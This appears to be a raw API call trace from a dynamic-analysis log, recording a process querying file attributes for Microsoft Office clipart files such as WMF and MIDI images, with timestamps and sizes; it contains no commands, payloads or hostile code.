	[0051.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae828 | out: lpFileInformation=0x123ae828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776)) returned 1
	[0051.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae878 | out: lpFileInformation=0x123ae878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12)) returned 1
	[0051.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae8c8 | out: lpFileInformation=0x123ae8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec)) returned 1
	[0051.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123ae918 | out: lpFileInformation=0x123ae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16)) returned 1
	[0051.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x123ae968 | out: lpFileInformation=0x123ae968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f)) returned 1
	[0051.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x123ae9b8 | out: lpFileInformation=0x123ae9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a)) returned 1
	[0051.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), fInfoLevelId=0x0, lpFileInformation=0x123aea08 | out: lpFileInformation=0x123aea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2)) returned 1
	[0051.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x123aea58 | out: lpFileInformation=0x123aea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8)) returned 1
	[0051.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeaa8 | out: lpFileInformation=0x123aeaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a)) returned 1
	[0051.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeaf8 | out: lpFileInformation=0x123aeaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4)) returned 1
	[0051.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeb48 | out: lpFileInformation=0x123aeb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c)) returned 1
	[0051.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeb98 | out: lpFileInformation=0x123aeb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac)) returned 1
	[0051.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aebe8 | out: lpFileInformation=0x123aebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268)) returned 1
	[0051.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aec38 | out: lpFileInformation=0x123aec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0)) returned 1
	[0051.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aec88 | out: lpFileInformation=0x123aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4)) returned 1
	[0051.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aecd8 | out: lpFileInformation=0x123aecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1
	[0051.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aed28 | out: lpFileInformation=0x123aed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8)) returned 1
	[0051.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aed78 | out: lpFileInformation=0x123aed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc)) returned 1
	[0051.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aedc8 | out: lpFileInformation=0x123aedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c)) returned 1
	[0051.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aee18 | out: lpFileInformation=0x123aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04)) returned 1
	[0051.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aee68 | out: lpFileInformation=0x123aee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c)) returned 1
	[0051.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeeb8 | out: lpFileInformation=0x123aeeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4)) returned 1
	[0051.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aef08 | out: lpFileInformation=0x123aef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa)) returned 1
	[0051.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aef58 | out: lpFileInformation=0x123aef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6)) returned 1
	[0051.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aefa8 | out: lpFileInformation=0x123aefa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80)) returned 1
	[0051.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123aeff8 | out: lpFileInformation=0x123aeff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754)) returned 1
	[0051.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af048 | out: lpFileInformation=0x123af048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026)) returned 1
	[0051.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af098 | out: lpFileInformation=0x123af098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2)) returned 1
	[0051.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af0e8 | out: lpFileInformation=0x123af0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e)) returned 1
	[0051.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af138 | out: lpFileInformation=0x123af138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242)) returned 1
	[0051.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af188 | out: lpFileInformation=0x123af188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e)) returned 1
	[0051.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af1d8 | out: lpFileInformation=0x123af1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af228 | out: lpFileInformation=0x123af228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af278 | out: lpFileInformation=0x123af278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af2c8 | out: lpFileInformation=0x123af2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af318 | out: lpFileInformation=0x123af318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af368 | out: lpFileInformation=0x123af368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af3b8 | out: lpFileInformation=0x123af3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe)) returned 1
	[0051.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af408 | out: lpFileInformation=0x123af408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926)) returned 1
	[0051.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af458 | out: lpFileInformation=0x123af458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0)) returned 1
